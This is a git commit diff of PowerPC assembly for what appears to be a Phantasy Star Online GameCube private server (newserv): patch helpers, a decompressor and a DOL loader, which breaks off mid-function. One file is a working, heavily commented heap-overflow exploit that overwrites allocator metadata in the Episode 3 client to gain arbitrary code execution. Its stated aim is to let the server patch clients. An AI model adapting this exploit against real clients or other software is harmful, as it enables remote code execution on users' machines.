organize system/client-functions
This commit is contained in:
@@ -0,0 +1,89 @@
|
||||
start:
|
||||
mflr r7
|
||||
|
||||
# If this patch has already been run, then the opcode that led here will
|
||||
# not be bctrl (4E800421). In that case, do nothing.
|
||||
lis r3, 0x4E80
|
||||
ori r3, r3, 0x0421
|
||||
lwz r4, [r7 - 4]
|
||||
cmp r3, r4
|
||||
beq apply_patch
|
||||
blr
|
||||
apply_patch:
|
||||
|
||||
bl patch_end
|
||||
.offsetof patch
|
||||
.offsetof patch_end
|
||||
patch:
|
||||
mfctr r6
|
||||
mr r3, r6
|
||||
li r4, 0x7C00
|
||||
.include FlushCachedCode-GC
|
||||
mtctr r6
|
||||
bctr
|
||||
patch_end:
|
||||
mflr r4
|
||||
|
||||
addi r4, r4, 8
|
||||
lwz r3, [r4 - 8]
|
||||
lwz r5, [r4 - 4]
|
||||
sub r5, r5, r3
|
||||
|
||||
# At this point:
|
||||
# r4 = address of patch label
|
||||
# r5 = patch size in bytes
|
||||
# r7 = saved LR
|
||||
|
||||
# Find a spot in the interrupt handlers with enough memory for the patch
|
||||
lis r3, 0x8000
|
||||
ori r3, r3, 0x0200
|
||||
sub r3, r3, r5
|
||||
|
||||
check_location:
|
||||
rlwinm r0, r5, 30, 2, 31
|
||||
mtctr r0 # ctr = patch size in words
|
||||
subi r8, r3, 4
|
||||
check_location_next_word:
|
||||
lwzu r0, [r8 + 4]
|
||||
cmpwi r0, 0
|
||||
beq check_location_word_ok
|
||||
addi r3, r3, 0x0100
|
||||
rlwinm r0, r3, 0, 16, 31
|
||||
cmpwi r0, 0x1800
|
||||
blt check_location
|
||||
# No suitable location was found - return null
|
||||
li r3, 0
|
||||
mtlr r7
|
||||
blr
|
||||
|
||||
check_location_word_ok:
|
||||
bdnz check_location_next_word
|
||||
|
||||
location_ok:
|
||||
mr r6, r3
|
||||
# Now:
|
||||
# r3 = destination location
|
||||
# r4 = patch src data
|
||||
# r5 = patch size in bytes
|
||||
# r6 = destination location
|
||||
# r7 = saved LR
|
||||
.include CopyCode-GC
|
||||
|
||||
setup_branch:
|
||||
# Replace the bctrl opcode that led to this call with a bl opcode that
|
||||
# leads to the copied patch code
|
||||
subi r3, r7, 4
|
||||
sub r4, r6, r3
|
||||
rlwinm r4, r4, 0, 6, 31
|
||||
oris r4, r4, 0x4800
|
||||
ori r4, r4, 0x0001
|
||||
stw [r3], r4
|
||||
dcbst r0, r3
|
||||
sync
|
||||
icbi r0, r3
|
||||
isync
|
||||
|
||||
# Return the address that the patch was copied to
|
||||
mr r3, r6
|
||||
mtlr r7
|
||||
blr
|
||||
@@ -0,0 +1,4 @@
|
||||
entry_ptr:
|
||||
.data 0x8000C274
|
||||
start:
|
||||
.include CacheClearFix
|
||||
@@ -0,0 +1,5 @@
|
||||
entry_ptr:
|
||||
reloc0:
|
||||
.offsetof start
|
||||
start:
|
||||
.include CacheClearFix
|
||||
@@ -0,0 +1,60 @@
|
||||
start:
|
||||
mflr r7
|
||||
|
||||
# If this patch has already been run, then the opcode that led here will
|
||||
# not be bctrl (4E800421). In that case, do nothing.
|
||||
lis r3, 0x4E80
|
||||
ori r3, r3, 0x0421
|
||||
lwz r4, [r7 - 4]
|
||||
cmp r3, r4
|
||||
beq apply_patch
|
||||
blr
|
||||
apply_patch:
|
||||
|
||||
bl patch_end
|
||||
.offsetof patch
|
||||
.offsetof patch_end
|
||||
patch:
|
||||
mfctr r6
|
||||
mr r3, r6
|
||||
li r4, 0x7C00
|
||||
.include FlushCachedCode
|
||||
mtctr r6
|
||||
bctr
|
||||
patch_end:
|
||||
mflr r4
|
||||
|
||||
addi r4, r4, 8
|
||||
lwz r3, [r4 - 8]
|
||||
lwz r5, [r4 - 4]
|
||||
sub r5, r5, r3
|
||||
|
||||
lis r3, 0x8000
|
||||
ori r3, r3, 0x01BC
|
||||
mr r6, r3
|
||||
# At this point:
|
||||
# r3 = destination location (overwritten by CopyCode)
|
||||
# r4 = patch src data (overwritten by CopyCode)
|
||||
# r5 = patch size in bytes (overwritten by CopyCode)
|
||||
# r6 = destination location
|
||||
# r7 = saved LR
|
||||
.include CopyCode
|
||||
|
||||
setup_branch:
|
||||
# Replace the bctrl opcode that led to this call with a bl opcode that
|
||||
# leads to the copied patch code
|
||||
subi r3, r7, 4
|
||||
sub r4, r6, r3
|
||||
rlwinm r4, r4, 0, 6, 31
|
||||
oris r4, r4, 0x4800
|
||||
ori r4, r4, 0x0001
|
||||
stw [r3], r4
|
||||
dcbst r0, r3
|
||||
sync
|
||||
icbi r0, r3
|
||||
isync
|
||||
|
||||
# Return the address that the patch was copied to
|
||||
mr r3, r6
|
||||
mtlr r7
|
||||
blr
|
||||
@@ -0,0 +1,18 @@
|
||||
# r3 = dest ptr
|
||||
# r4 = src ptr
|
||||
# r5 = size
|
||||
# Clobbers r0, r3, r4, r5
|
||||
addi r5, r5, 3
|
||||
rlwinm r5, r5, 30, 2, 31 # r5 = number of words to copy
|
||||
mtctr r5
|
||||
subi r3, r3, 4 # r3 = r3 - 4 (so we can use stwu)
|
||||
subi r4, r4, 4 # r4 = r4 - 4 (so we can use lwzu)
|
||||
copy_word_again:
|
||||
lwzu r0, [r4 + 4]
|
||||
stwu [r3 + 4], r0
|
||||
bdnz copy_word_again
|
||||
|
||||
rlwinm r4, r5, 2, 0, 29
|
||||
addi r3, r3, 4
|
||||
sub r3, r3, r4
|
||||
.include FlushCachedCode
|
||||
@@ -0,0 +1,13 @@
|
||||
# r3 = dest ptr
|
||||
# r4 = src ptr
|
||||
# r5 = size
|
||||
# Clobbers r3, r4, r5
|
||||
addi r5, r5, 3
|
||||
rlwinm r5, r5, 30, 2, 31 # r5 = number of words to copy
|
||||
mtctr r5
|
||||
subi r3, r3, 4 # r3 = r3 - 4 (so we can use stwu)
|
||||
subi r4, r4, 4 # r4 = r4 - 4 (so we can use lwzu)
|
||||
copy_word_again:
|
||||
lwzu r5, [r4 + 4]
|
||||
stwu [r3 + 4], r5
|
||||
bdnz copy_word_again
|
||||
@@ -0,0 +1,351 @@
|
||||
# There is a buffer overflow bug in PSO Episode 3 that this program uses to
|
||||
# achieve arbitrary code execution. (This bug is likely present in all versions
|
||||
# of PSO, but the code here is specific to the USA version of Episode 3.) This
|
||||
# is only necessary because the non-Japanese versions of Episode 3 lack the B2
|
||||
# command, which is used on other console PSO versions to send patches and other
|
||||
# bits of code. Here, we use a buffer overflow bug to re-implement the B2
|
||||
# command, which allows the server to treat PSO Episode 3 like any other version
|
||||
# of PSO with respect to patching or loading DOL files.
|
||||
|
||||
# For some background, PSO sends download quest files via the A6 and A7
|
||||
# commands. The A6 command is used to start sending a download quest file; it
|
||||
# includes the quest name, file name, and total file size. The A7 command is
|
||||
# used to send a chunk of 1KB (0x400 bytes) of data, or less if it's the final
|
||||
# chunk of the file. When the client receives an A6 command for a filename
|
||||
# ending in .bin, it allocates a buffer of (file size + 0x48) bytes. When it
|
||||
# later receives an A7 command, it copies (cmd.data_size) bytes from the command
|
||||
# to position (8 + 0x100 * flag) in the buffer, then if cmd.data_size was less
|
||||
# than 0x400, it marks the file as done and postprocesses it.
|
||||
|
||||
# However, the client neglects to check if the last chunk overflows the end of
|
||||
# the buffer before copying the chunk data. In this function, we send an A6
|
||||
# command with an overall file size of only 0x18 bytes, then we send a chunk of
|
||||
# 0x200 or so bytes (the compiled size of the code in this file), which
|
||||
# overflows past the end of the allocated buffer and overwrites part of a free
|
||||
# block after the allocated buffer. The memory allocator library keeps some of
|
||||
# its bookkeeping structures at the beginning of this free block, which we use
|
||||
# to cause the next call to malloc() to overwrite its own return address on the
|
||||
# stack. Conveniently, this call happens soon afterward, during the
|
||||
# postprocessing step.
|
||||
|
||||
# The PSO memory allocator is a simple free-list allocator. The allocator
|
||||
# maintains two linked lists of blocks: one for allocated blocks and one for
|
||||
# free blocks. The list of free blocks is sorted in order of memory address, but
|
||||
# the list of allocated blocks is sorted in the order they were allocated. (The
|
||||
# order of the allocated block list does not matter for the allocator's
|
||||
# performance or correctness.)
|
||||
|
||||
# Each block begins with two pointers, prev and next, which point to other
|
||||
# blocks in the allocated or free list. (As with a typical doubly-linked list,
|
||||
# the first block has prev == nullptr and the last block has next == nullptr;
|
||||
# there is no sentinel node on either end.) After these two pointers is the
|
||||
# block's size in bytes, followed by 0x14 unused bytes. The block data
|
||||
# immediately follows this 0x20-byte header structure. All block sizes are
|
||||
# rounded up to a multiple of 0x20 bytes.
|
||||
|
||||
# The malloc() routine simply searches for the first free block that has enough
|
||||
# space to satisfy the request, and either splits it into an allocated and a
|
||||
# free block (if the free block's size is at least 0x40 bytes more than the
|
||||
# requested size), or converts the free block entirely into an allocated block
|
||||
# and returns it. It is the second case that we take advantage of here.
|
||||
|
||||
# When we send our A7 command containing this program, the first 0x58 bytes of
|
||||
# it fill the quest file data buffer. The next 0x0C bytes of it overwrite the
|
||||
# header fields of the following free block (noted below in the comments), and
|
||||
# the remainder of the data goes into that block's unused header fields and the
|
||||
# block's data (which is also otherwise unused, since it is a free block). We
|
||||
# overwrite the free block's prev and next pointers with specific nonzero values
|
||||
# and overwrite the size with the exact size that the caller will request, so we
|
||||
# trigger the malloc() case that does not split the free block. When that code
|
||||
# attempts to remove the free block from its doubly-linked list, it writes
|
||||
# block->next to block->prev->next and block->prev to block->next->prev. We set
|
||||
# block->prev to the address where we want execution to jump to (the start label
|
||||
# here), and block->next to the address of malloc()'s return address on the
|
||||
# stack. This overwrites the return address with the start label's address, and
|
||||
# overwrites the word after the start label with an address within the stack. We
|
||||
# can't avoid this second write since both pointers must be non-null and the
|
||||
# values and addresses written are dependent on each other, but we can just use
|
||||
# a branch opcode to ignore the value that gets written into our code.
|
||||
|
||||
# Once we have control, we clean up the allocator state (restoring the free
|
||||
# block as it was before we overwrote its header), then copy our implementation
|
||||
# of the B2 command to an otherwise-unused area of memory and apply a few more
|
||||
# patches. See the comments within the code below for more details.
|
||||
|
||||
|
||||
|
||||
# This entry_ptr label isn't used since this code isn't sent with the B2
|
||||
# command; it just needs to be present for newserv to compile the code properly
|
||||
entry_ptr:
|
||||
|
||||
start:
|
||||
b resume1
|
||||
# This is the value overwritten by malloc() when it attempts to remove the
|
||||
# free block from its linked list
|
||||
.data 0xAAAAAAAA
|
||||
|
||||
resume1:
|
||||
# We can use any of the caller-save registers (r0, r3-r12) here.
|
||||
|
||||
# At entry time, some registers contain useful values:
|
||||
# r5: Address of the allocator instance ("lists"). This structure includes the
|
||||
# allocated and free list head pointers, one of which we have to update.
|
||||
# r12: Address of the malloc() function that was called. Conveniently, the
|
||||
# address that we should return to is very near this location in memory.
|
||||
|
||||
# Compute the LR we should use to return from this function, but don't put it
|
||||
# in the LR just yet - we're still going to need the LR for other shenanigans
|
||||
subi r11, r12, 0xB0 # 8038C1B8 - B0 = 8038C108
|
||||
|
||||
# Restore the free block whose header we had destroyed with the A7 command
|
||||
# buffer overflow
|
||||
lis r7, 0x815F
|
||||
ori r7, r7, 0xF440
|
||||
li r0, 0
|
||||
stw [r7], r0 # free_block->prev = nullptr
|
||||
stw [r7 + 4], r0 # free_block->next = nullptr
|
||||
lis r6, 0x001E
|
||||
ori r6, r6, 0x0960
|
||||
stw [r7 + 8], r6 # free_block->size = 0x001E0960
|
||||
stw [r5 + 4], r7 # lists->free_head = free_block
|
||||
|
||||
# Restore lists->allocated_head and clear its prev pointer
|
||||
lis r6, 0x815F
|
||||
ori r6, r6, 0xF3C0
|
||||
stw [r5 + 8], r6 # lists->allocated_head = orig_allocated_head
|
||||
stw [r6], r0 # lists->allocated_head->prev = nullptr
|
||||
|
||||
b resume2
|
||||
|
||||
# TODO: We can probably use this space for something useful. There must be
|
||||
# exactly 20 opcodes (0x50 bytes) between resume1 and opaque2.
|
||||
.zero
|
||||
.zero
|
||||
.zero
|
||||
.zero
|
||||
.zero
|
||||
|
||||
opaque2:
|
||||
# This block must be exactly here (the number of opcodes above is exactly how
|
||||
# many will fit in the original buffer), and the 3 words here must have
|
||||
# exactly these values. This is what causes malloc to overwrite the return
|
||||
# address on the stack to call this code in the first place.
|
||||
.data 0x815FF3E8 # free_head->prev
|
||||
.data 0x80592AC4 # free_head->next
|
||||
.data 0x00000160 # free_head->size
|
||||
|
||||
resume2:
|
||||
bl get_handle_B2_ptr
|
||||
|
||||
# This is the code we're going to use for the B2 command handler, which we
|
||||
# will copy into an unused area of memory. It's convenient to put it here and
|
||||
# use a bl opcode to get its address, so this code can be minimally position-
|
||||
# dependent. Note that this part of the code does not run at the time the A7
|
||||
# command is received; it will run later if the client receives a B2 command.
|
||||
handle_B2:
|
||||
mflr r0
|
||||
stwu [r1 - 0x40], r1
|
||||
stw [r1 + 0x44], r0
|
||||
|
||||
# Arguments:
|
||||
# r3 = TProtocol* proto (we use this to call the send function)
|
||||
# r4 = void* data
|
||||
# Returns: void
|
||||
|
||||
# Stack:
|
||||
# [r1+08] = B3 XX 0C 00
|
||||
# [r1+0C] = code section's return value
|
||||
# [r1+10] = checksum
|
||||
# [r1+14] = saved ctx argument
|
||||
# [r1+18] = saved data argument
|
||||
# We reserved 0x40 bytes on the stack because I was lazy.
|
||||
stw [r1 + 0x14], r3
|
||||
stw [r1 + 0x18], r4
|
||||
|
||||
# Set up the reply header (B3 XX 0C 00, where XX comes from the B2 command)
|
||||
lbz r5, [r4 + 1]
|
||||
rlwinm r5, r5, 16, 8, 15
|
||||
oris r5, r5, 0xB300
|
||||
ori r5, r5, 0x0C00
|
||||
stw [r1 + 0x08], r5
|
||||
|
||||
# If there's no code section, skip it. We also write the code section size to
|
||||
# the return value field (which will be overwritten later if the size is not
|
||||
# zero). This is because I'm lazy and this gives the behavior we want: the
|
||||
# code return value is always zero if the code section size is zero.
|
||||
li r6, 4
|
||||
lwbrx r5, [r4 + r6] # r5 = code_size
|
||||
stw [r1 + 0x0C], r5 # response.code_return_value = code_size
|
||||
cmplwi r5, 0
|
||||
beq handle_B2_skip_code
|
||||
|
||||
# Get the code section base and footer addresses
|
||||
addi r6, r4, 0x10 # r6 = code base address
|
||||
add r7, r6, r5
|
||||
subi r7, r7, 0x20 # r7 = footer address (code base + code size - 0x20)
|
||||
|
||||
# Check if there are relocations to do
|
||||
lwz r8, [r7 + 4] # r8 = num relocations
|
||||
cmplwi r8, 0
|
||||
beq handle_B2_skip_relocations
|
||||
|
||||
# Execute the relocations
|
||||
mtctr r8
|
||||
lwz r8, [r7] # r8 = relocations list offset
|
||||
add r8, r8, r6 # r8 = relocations list address
|
||||
subi r8, r8, 2 # Back up one space so we can use lhzu in the loop
|
||||
mr r10, r6 # relocation pointer = code base address
|
||||
handle_B2_relocate_again:
|
||||
lhzu r9, [r8 + 2]
|
||||
rlwinm r9, r9, 2, 0, 29 # r9 = next_relocation_offset * 4
|
||||
add r10, r10, r9 # relocation pointer += next_relocation_offset * 4
|
||||
lwz r9, [r10]
|
||||
add r9, r9, r6
|
||||
stw [r10], r9 # (*relocation pointer) += code base address
|
||||
bdnz handle_B2_relocate_again
|
||||
handle_B2_skip_relocations:
|
||||
|
||||
# Invalidate the caches appropriately for the newly-copied code
|
||||
lis r0, 0x8000
|
||||
ori r0, r0, 0xC324
|
||||
mr r3, r6
|
||||
mr r4, r5
|
||||
mtctr r0
|
||||
bctrl # flush_code(code_base_addr, code_section_size)
|
||||
|
||||
# Call the code section and put the return value (byteswapped) on the stack
|
||||
# Note: flush_code only uses r3, r4, and r5, so we don't need to reload r7
|
||||
# after the above call
|
||||
lwz r8, [r7 + 0x10]
|
||||
lwzx r8, [r8 + r6]
|
||||
mtctr r8
|
||||
bctrl
|
||||
li r8, 0x0C
|
||||
stwbrx [r1 + r8], r3
|
||||
handle_B2_skip_code:
|
||||
|
||||
# Get the checksum function args
|
||||
lwz r4, [r1 + 0x18]
|
||||
li r5, 0x08
|
||||
lwbrx r3, [r4 + r5] # checksum addr
|
||||
li r5, 0x0C
|
||||
lwbrx r4, [r4 + r5] # checksum size
|
||||
lis r0, 0x8010
|
||||
ori r0, r0, 0xF834
|
||||
mtctr r0
|
||||
bctrl # crc32(checksum_addr, checksum_size)
|
||||
li r8, 0x10
|
||||
stwbrx [r1 + r8], r3
|
||||
|
||||
# Send the response (B3 command)
|
||||
lwz r3, [r1 + 0x14]
|
||||
lwz r4, [r3 + 0x18]
|
||||
lwz r4, [r4 + 0x28]
|
||||
mtctr r4
|
||||
addi r4, r1, 0x08
|
||||
li r5, 0x0C
|
||||
bctrl # TProtocol::send_command(ctx, &reply_data, 0x0C)
|
||||
|
||||
# Clean up stack and return
|
||||
lwz r0, [r1 + 0x44]
|
||||
addi r1, r1, 0x40
|
||||
mtlr r0
|
||||
blr
|
||||
|
||||
get_handle_B2_ptr:
|
||||
mflr r9 # r9 = &handle_B2
|
||||
bl get_handle_B2_end_ptr
|
||||
get_handle_B2_end_ptr:
|
||||
mflr r10
|
||||
subi r10, r10, 8 # r10 = pointer to end of handle_B2
|
||||
|
||||
# Copy handle_B2 to 8000BD80, which is normally unused by the game
|
||||
lis r12, 0x8000
|
||||
ori r12, r12, 0xBD80 # r12 = 0x8000BD80
|
||||
sub r7, r10, r9
|
||||
rlwinm r7, r7, 30, 2, 31 # r7 = number of words to copy
|
||||
mtctr r7
|
||||
subi r8, r12, 4 # r8 = r12 - 4 (so we can use stwu)
|
||||
subi r9, r9, 4 # r9 = r9 - 4 (so we can use lwzu)
|
||||
copy_handle_B2_word_again:
|
||||
lwzu r0, [r9 + 4]
|
||||
stwu [r8 + 4], r0
|
||||
bdnz copy_handle_B2_word_again
|
||||
|
||||
# Invalidate the caches appropriately for the newly-copied code
|
||||
lis r9, 0x8000
|
||||
ori r9, r9, 0xC324
|
||||
mtctr r9
|
||||
mr r3, r12
|
||||
rlwinm r4, r7, 2, 0, 29
|
||||
bctrl # flush_code(copied_B2_handler, copied_B2_handler_bytes)
|
||||
|
||||
# Replace the command handler table entry for command 0E (which appears to be
|
||||
# a legacy command and has very broken behavior) with our B2 implementation
|
||||
lis r5, 0x8044
|
||||
ori r5, r5, 0xF684
|
||||
li r0, 0x00B2
|
||||
stw [r5], r0
|
||||
stw [r5 + 0x0C], r12
|
||||
|
||||
# Patch both places in the code where command 9E is sent to make them include
|
||||
# a sentinel value that newserv can use to determine if the client has already
|
||||
# run the code in this file
|
||||
bl get_patch_9E_1_ptr
|
||||
patch_9E_1:
|
||||
lis r4, 0x5F5C
|
||||
ori r4, r4, 0xA297
|
||||
stw [r1 + 0x14], r4 # Set cmd.unused1 to 0x5F5CA297 (in send_9E_long)
|
||||
get_patch_9E_1_ptr:
|
||||
lis r3, 0x800F
|
||||
ori r3, r3, 0x3338
|
||||
mflr r4
|
||||
lwz r0, [r4]
|
||||
stw [r3], r0
|
||||
lwz r0, [r4 + 4]
|
||||
stw [r3 + 4], r0
|
||||
lwz r0, [r4 + 8]
|
||||
stw [r3 + 8], r0
|
||||
li r4, 0x20
|
||||
mtctr r9
|
||||
bctrl # flush_code(patch_9E_1_dest, 0x20)
|
||||
|
||||
bl get_patch_9E_2_ptr
|
||||
patch_9E_2:
|
||||
lis r4, 0x5F5C
|
||||
ori r4, r4, 0xA297
|
||||
stw [r1 + 0x60], r4 # Set cmd.unused1 to 0x5F5CA297 (in handle_02)
|
||||
get_patch_9E_2_ptr:
|
||||
lis r3, 0x800F
|
||||
ori r3, r3, 0x3644
|
||||
mflr r4
|
||||
lwz r0, [r4]
|
||||
stw [r3], r0
|
||||
lwz r0, [r4 + 4]
|
||||
stw [r3 + 4], r0
|
||||
lwz r0, [r4 + 8]
|
||||
stw [r3 + 8], r0
|
||||
li r4, 0x20
|
||||
mtctr r9
|
||||
bctrl # flush_code(patch_9E_2_dest, 0x20)
|
||||
|
||||
# Finally, patch the A7 handler function (which is on the current callstack)
|
||||
# so that it does nothing else if this function returns null, which prevents
|
||||
# further memory corruption. This changes a beq opcode (which never triggers
|
||||
# under normal circumstances) to skip a couple more function calls, one of
|
||||
# which would cause memory corruption if executed because the original buffer
|
||||
# is smaller than 0x100 bytes.
|
||||
lis r3, 0x8010
|
||||
ori r3, r3, 0xFD8A
|
||||
li r4, 0x0064
|
||||
sth [r3], r4
|
||||
rlwinm r3, r3, 0, 0, 27
|
||||
li r4, 0x20
|
||||
mtctr r9
|
||||
bctrl # flush_code(patched_opcode_address & 0xFFFFFFF0, 0x20)
|
||||
|
||||
# Return null instead of a malloc'ed block, which triggers the conditional
|
||||
# branch we just patched above
|
||||
li r3, 0
|
||||
mtlr r11
|
||||
blr
|
||||
@@ -0,0 +1,20 @@
|
||||
# This code flushes the data cache and invalidates the instruction cache for a
|
||||
# block of newly-written code in memory.
|
||||
# Arguments:
|
||||
# r3 = address of written code
|
||||
# r4 = number of bytes
|
||||
# Returns: nothing
|
||||
# Overwrites: r3, r4, r5
|
||||
lis r5, 0xFFFF
|
||||
ori r5, r5, 0xFFF1
|
||||
and r5, r5, r3
|
||||
subf r3, r5, r3
|
||||
add r4, r4, r3
|
||||
flush_cached_code_writes__again:
|
||||
dcbst r0, r5
|
||||
sync
|
||||
icbi r0, r5
|
||||
addic r5, r5, 8
|
||||
subic. r4, r4, 8
|
||||
bge flush_cached_code_writes__again
|
||||
isync
|
||||
@@ -0,0 +1,111 @@
|
||||
# This code decompresses PRS-compressed data.
|
||||
# Arguments:
|
||||
# r3 = destination pointer for decompressed data
|
||||
# r4 = source pointer for compressed data
|
||||
# r5 = destination buffer size
|
||||
# r6 = source data size
|
||||
# Returns: number of bytes written to output buffer, or -1 on error
|
||||
# Overwrites: r3, r4, r5, r6, r7, r8, r9, r10, r11, r12
|
||||
prs_decompress__start:
|
||||
# r3 = dest ptr (used as write ptr)
|
||||
subi r3, r3, 1
|
||||
# r4 = src ptr (used as read ptr)
|
||||
subi r4, r4, 1
|
||||
# r5 = dest size (converted to ptr to last valid output byte)
|
||||
add r5, r5, r3
|
||||
# r6 = src size (converted to ptr to last valid input byte)
|
||||
add r6, r6, r4
|
||||
# r7 = control bits + guard bits
|
||||
li r7, 0
|
||||
# r8 = temp for offset/count
|
||||
# r9 = original dest ptr - 1 (used for computing return value)
|
||||
mr r9, r3
|
||||
# r10 = temp for reading/writing data
|
||||
# r11 = second-level saved LR, temp for offset/count
|
||||
# r12 = saved LR
|
||||
mflr r12
|
||||
|
||||
prs_decompress__next_opcode:
|
||||
bl prs_decompress__cmp_control_bit_and_return_in_r10
|
||||
beq prs_decompress__control_0
|
||||
|
||||
prs_decompress__control_1:
|
||||
bl prs_decompress__read_byte_to_r10
|
||||
bl prs_decompress__write_byte_from_r10
|
||||
b prs_decompress__next_opcode
|
||||
|
||||
prs_decompress__control_0:
|
||||
bl prs_decompress__cmp_control_bit_and_return_in_r10
|
||||
beq prs_decompress__control_00
|
||||
|
||||
prs_decompress__control_01:
|
||||
bl prs_decompress__read_byte_to_r10
|
||||
rlwinm r8, r10, 29, 27, 31 # low 5 bits of offset
|
||||
rlwinm r11, r10, 0, 29, 31 # size
|
||||
addi r11, r11, 2
|
||||
bl prs_decompress__read_byte_to_r10
|
||||
rlwimi. r8, r10, 5, 19, 26 # high 8 bits of offset
|
||||
bne prs_decompress__control_01_not_stop_opcode
|
||||
sub r3, r3, r9
|
||||
mtlr r12
|
||||
blr
|
||||
prs_decompress__control_01_not_stop_opcode:
|
||||
ori r8, r8, 0xE000
|
||||
cmplwi r11, 2
|
||||
bne prs_decompress__control_01_not_extended_count
|
||||
bl prs_decompress__read_byte_to_r10
|
||||
addi r11, r10, 1
|
||||
prs_decompress__control_01_not_extended_count:
|
||||
mtctr r11
|
||||
b prs_decompress__control_00_01_copy
|
||||
|
||||
prs_decompress__control_00:
|
||||
bl prs_decompress__cmp_control_bit_and_return_in_r10
|
||||
rlwinm r11, r10, 1, 30, 30
|
||||
bl prs_decompress__cmp_control_bit_and_return_in_r10
|
||||
rlwimi r11, r10, 0, 31, 31
|
||||
addi r11, r11, 2
|
||||
mtctr r11
|
||||
bl prs_decompress__read_byte_to_r10
|
||||
ori r8, r10, 0xFF00
|
||||
|
||||
prs_decompress__control_00_01_copy:
|
||||
# r8 = src offset (negative 16-bit value)
|
||||
# ctr = byte count to copy
|
||||
oris r8, r8, 0xFFFF
|
||||
add r8, r8, r3 # r8 = copy src ptr (minus 1, for lbzu)
|
||||
prs_decompress__control_00_01_copy_again:
|
||||
lbzu r10, [r8 + 1]
|
||||
bl prs_decompress__write_byte_from_r10
|
||||
bdnz prs_decompress__control_00_01_copy_again
|
||||
b prs_decompress__next_opcode
|
||||
|
||||
prs_decompress__cmp_control_bit_and_return_in_r10:
|
||||
andi. r10, r7, 0x0100
|
||||
bne prs_decompress__skip_read
|
||||
mflr r8
|
||||
bl prs_decompress__read_byte_to_r10
|
||||
mtlr r8
|
||||
mr r7, r10
|
||||
ori r7, r7, 0xFF00
|
||||
prs_decompress__skip_read:
|
||||
andi. r10, r7, 1
|
||||
rlwinm r7, r7, 31, 17, 31
|
||||
blr
|
||||
|
||||
prs_decompress__read_byte_to_r10:
|
||||
cmp r4, r6
|
||||
bge prs_decompress__return_error
|
||||
lbzu r10, [r4 + 1]
|
||||
blr
|
||||
|
||||
prs_decompress__write_byte_from_r10:
|
||||
cmp r3, r5
|
||||
bge prs_decompress__return_error
|
||||
stbu [r3 + 1], r10
|
||||
blr
|
||||
|
||||
prs_decompress__return_error:
|
||||
li r3, -1
|
||||
mtlr r12
|
||||
blr
|
||||
@@ -0,0 +1,20 @@
|
||||
# This function is required for loading DOLs. If it's not present, newserv can't
|
||||
# serve DOL files to GameCube clients.
|
||||
|
||||
.meta index=E0
|
||||
|
||||
entry_ptr:
|
||||
reloc0:
|
||||
.offsetof start
|
||||
|
||||
start:
|
||||
mflr r12
|
||||
bl read
|
||||
address:
|
||||
.zero
|
||||
read:
|
||||
mflr r3
|
||||
lwz r3, [r3]
|
||||
lwz r3, [r3]
|
||||
mtlr r12
|
||||
blr
|
||||
@@ -0,0 +1,150 @@
|
||||
# This function is required for loading DOLs. If it's not present, newserv can't
|
||||
# serve DOL files to GameCube clients.
|
||||
|
||||
.meta index=E2
|
||||
|
||||
entry_ptr:
|
||||
reloc0:
|
||||
.offsetof start
|
||||
|
||||
start:
|
||||
disable_interrupts:
|
||||
mfmsr r3
|
||||
rlwinm r3, r3, 0, 17, 15
|
||||
mtmsr r3
|
||||
|
||||
bl get_current_addr
|
||||
dol_base_ptr:
|
||||
.zero
|
||||
get_current_addr:
|
||||
mflr r31
|
||||
# TODO: It'd be nice to be able to use an expression for the immediate value
|
||||
# here - something like (dol_base_ptr - start), for example
|
||||
subi r31, r31, 0x10 # r31 = base of data to copy to low memory (start label)
|
||||
|
||||
# If this code is not running from low memory (80001800-80003000), then copy
|
||||
# it there and branch to it
|
||||
lis r3, 0x8000
|
||||
ori r3, r3, 0x3000
|
||||
cmp r31, r3
|
||||
blt run_dol
|
||||
|
||||
copy_code_to_low_memory:
|
||||
bl get_end_ptr
|
||||
sub r30, r3, r31 # r30 = size of code to copy (for cache flushing later)
|
||||
subi r5, r3, 4 # r5 = end ptr
|
||||
subi r4, r31, 4
|
||||
lis r3, 0x8000
|
||||
ori r3, r3, 0x17FC
|
||||
copy_code_to_low_memory__again:
|
||||
lwzu r0, [r4 + 4]
|
||||
stwu [r3 + 4], r0
|
||||
cmp r4, r5
|
||||
bne copy_code_to_low_memory__again
|
||||
|
||||
# Flush the data cache and clear the instruction cache before running the
|
||||
# moved code
|
||||
lis r3, 0x8000
|
||||
ori r3, r3, 0x1800
|
||||
mr r4, r30
|
||||
mtlr r3
|
||||
b flush_cached_code_writes
|
||||
|
||||
|
||||
|
||||
run_dol:
|
||||
lwz r30, [r31 + 0x10] # r30 = data base ptr
|
||||
|
||||
# Decompress the file first. If the compressed size is zero, then skip this
|
||||
# step (the file is not compressed). The header consists of two fields:
|
||||
# compressed size followed by decompressed size.
|
||||
lwz r6, [r30]
|
||||
cmplwi r6, 0
|
||||
beq run_dol__not_compressed
|
||||
lwz r5, [r30 + 4]
|
||||
addi r4, r30, 8 # Compressed data immediately follows the 2 header fields
|
||||
sub r3, r30, r5 # Decompress to immediately before the compressed data
|
||||
mr r30, r3 # Save DOL header pointer for after decompression
|
||||
bl prs_decompress
|
||||
b run_dol__decompressed
|
||||
|
||||
run_dol__not_compressed:
|
||||
addi r30, r30, 8
|
||||
|
||||
run_dol__decompressed:
|
||||
# DOL files are very simple: they have up to 7 text sections, up to 11 data
|
||||
# sections, and a BSS section and an entrypoint. No imports or other fancy
|
||||
# things to do - we just have to move a bunch of bytes around.
|
||||
mr r29, r30 # r29 = DOL header iterator
|
||||
addi r28, r29, 0x48 # r28 = DOL header iterator end value
|
||||
|
||||
run_dol__move_section:
|
||||
lwz r4, [r29] # r4 = file offset of section data
|
||||
add r4, r4, r30 # r4 = address of section data
|
||||
lwz r3, [r29 + 0x48] # r3 = dest address of section data
|
||||
lwz r5, [r29 + 0x90] # r5 = number of bytes to move
|
||||
cmplwi r5, 0 # If size is 0, skip the section entirely
|
||||
beq skip_section
|
||||
subi r3, r3, 1
|
||||
subi r4, r4, 1
|
||||
add r5, r4, r5 # r5 = source end pointer
|
||||
run_dol__move_section_data__again:
|
||||
# TODO: We probably should implement memmove-like semantics here, in case the
|
||||
# DOL loads at an unusually late address. This is probably very rare.
|
||||
lbzu r0, [r4 + 1]
|
||||
stbu [r3 + 1], r0
|
||||
cmp r4, r5
|
||||
bne run_dol__move_section_data__again
|
||||
|
||||
# Flush the data cache and invalidate the instruction cache after copying the
|
||||
# section data. Technically we don't have to do this for data sections, but
|
||||
# I'm lazy and it doesn't take too long.
|
||||
lwz r3, [r29 + 0x48] # r3 = dest address of section data
|
||||
lwz r4, [r29 + 0x90] # r4 = size of section data
|
||||
bl flush_cached_code_writes
|
||||
|
||||
